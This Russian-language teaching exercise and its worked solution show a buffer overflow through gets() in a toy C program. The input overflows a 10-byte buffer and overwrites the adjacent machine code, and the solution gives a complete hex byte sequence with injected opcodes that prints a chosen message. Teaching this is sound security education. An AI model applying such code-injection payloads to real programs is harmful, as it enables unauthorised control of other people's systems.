void main()
{
char a[10];
printf("Введите строку:");
gets(a);
printf("Вы ввели %d символов", strlen(a));
}
При компиляции получился следующий программный код:
Адрес памяти |
Байты в памяти |
Их содержание |
100D123D |
C2 E2 E5 E4 E8 F2 E5 20 F1 F2 F0 EE EA F3 00 |
Строка «Введите строку» с нулевым байтом в конце |
100D124C |
C2 FB 20 E2 E2 E5 EB E8 20 25 64 20 F1 E8 EC E2 EE EB EE E2 00 |
Строка «Вы ввели %d символов» с нулевым байтом в конце |
100D1261 |
00 00 00 00 00 00 00 00 00 00 |
массив a (10 элементов типа char) |
100D126B |
68 3D 12 0D 10 |
Машинная команда, передающая адрес строки «Введите строку» (100D123D) в подпрограмму printf как параметр |
100D1270 |
FF 15 14 72 0D 10 |
Машинная команда, вызывающая подпрограмму printf, расположенную по адресу 100D7214 |
100D1276 |
83 C4 04 |
Вспомогательная машинная команда, выполняемая после возвращения из подпрограммы printf, имеющей один параметр |
100D1279 |
68 61 12 0D 10 |
Машинная команда, передающая параметр a, расположенный по адресу 100D1261, в подпрограмму gets |
100D127E |
FF 15 10 72 0D 10 |
Машинная команда, вызывающая подпрограмму gets, расположенную по адресу 100D7210 |
100D1284 |
83 C4 04 |
Вспомогательная машинная команда, выполняемая после возвращения из подпрограммы gets, имеющей один параметр |
100D1287 |
68 61 12 0D 10 |
Машинная команда, передающая параметр a, расположенный по адресу 100D1261, в подпрограмму strlen |
100D128C |
E8 D5 FD FF FF |
Машинная команда, вызывающая подпрограмму strlen |
100D1291 |
83 C4 04 |
Вспомогательная машинная команда, выполняемая после возвращения из подпрограммы strlen, имеющей один параметр |
100D1294 |
50 |
Машинная команда, передающая возвращаемое значение функции strlen в подпрограмму printf как параметр |
100D1295 |
68 4C 12 0D 10 |
Машинная команда, передающая адрес строки «Вы ввели %d символов» (100D124C) в подпрограмму printf как параметр |
100D129A |
FF 15 14 72 0D 10 |
Машинная команда, вызывающая подпрограмму printf, расположенную по адресу 100D7214 |
100D12A0 |
83 C4 08 |
Вспомогательная машинная команда, выполняемая после возвращения из подпрограммы printf, имеющей два параметра |
100D12A3 |
C3 |
Машинная команда, завершающая программу |
Применяемая реализация подпрограммы gets принимает на вход любые данные без ограничений, в том числе специальные и непечатаемые символы (нулевой байт, символ конца строки и т.п.). Окончанием входного потока считается комбинация байтов «0x0D0A».
Укажите входную последовательность байтов (в шестнадцатеричном формате), после ввода которой программа выведет строку «Я в полной безопасности».
Нетрудно видеть, что если передать на вход программы более 10 байт данных, эти данные переполнят буфер и перезапишут код выполняющейся программы. Фактически необходимо подобрать данные, которые при их размещении начиная с адреса 100D1261 сформируют начиная с адреса 100D1287 (следующая машинная команда после вызова gets и следующей за ним вспомогательной машинной команды) скомпилированный образ следующего оператора языка С:
printf («Я в полной безопасности»);
за которым следует машинная команда, завершающая программу. В программе есть похожий оператор:
printf ("Введите строку:");
который компилируется в три машинные команды:
68 3D 12 0D 10
FF 15 14 72 0D 10
83 C4 04
Первая команда присутствует в программе в четырех экземплярах, между собой они различаются только вторым байтом, который во всех случаях совпадает с последним байтом числового значения передаваемого в подпрограмму адреса. Можно заметить, что структура команды следующая:
Код_команды (68) адрес_операнда (4 байта)
Для передачи в качестве параметра подпрограммы произвольного адреса (например, 12345678), нужно выполнить команду вида:
68 78 56 34 12
Подпрограмма printf вызывается в команде дважды, соответствующая команда имеет вид:
FF 15 14 72 0D 10
За ней должна следовать вспомогательная команда:
83 C4 04
И команда завершения программы:
C3
Итак, по адресу 100D1287 необходимо разместить следующие байты:
68 XX XX XX XX FF 15 14 72 0D 10 83 C4 04 C3
где XX XX XX XX – записанный в обратном порядке адрес строки «Я в полной безопасности», которую надо разместить где-то в памяти атакуемой программы. Строка занимает 24 байта (вместе с завершающим нулевым байтом), в начале буфера вполне хватает места для нее, можно разместить эту строку прямо по адресу переменной a.
Итоговый эксплойт может иметь, например, такой вид:
Адрес |
Содержимое |
Описание |
|
DF 20 E2 20 EF EE EB ED EE E9 20 E1 E5 E7 EE EF E0 F1 ED EE F1 F2 E8 00 |
Строка «Я в полной безопасности» |
|
12 34 56 78 9A BC DE F0 12 34 56 |
Произвольные данные, которые никак не будут использоваться |
|
83 C4 04 |
Вспомогательная машинная команда, выполняемая после возвращения из подпрограммы gets, внутри которой произошло переполнение буфера |
|
68 61 12 0D 10 |
Машинная команда, передающая адрес строки «Я в полной безопасности» в подпрограмму printf как параметр |
|
FF 15 14 72 0D 10 |
Машинная команда, вызывающая подпрограмму printf с одним параметром |
|
83 C4 04 |
Вспомогательная машинная команда, выполняемая после возвращения из подпрограммы printf |
|
C3 |
Машинная команда, завершающая программу |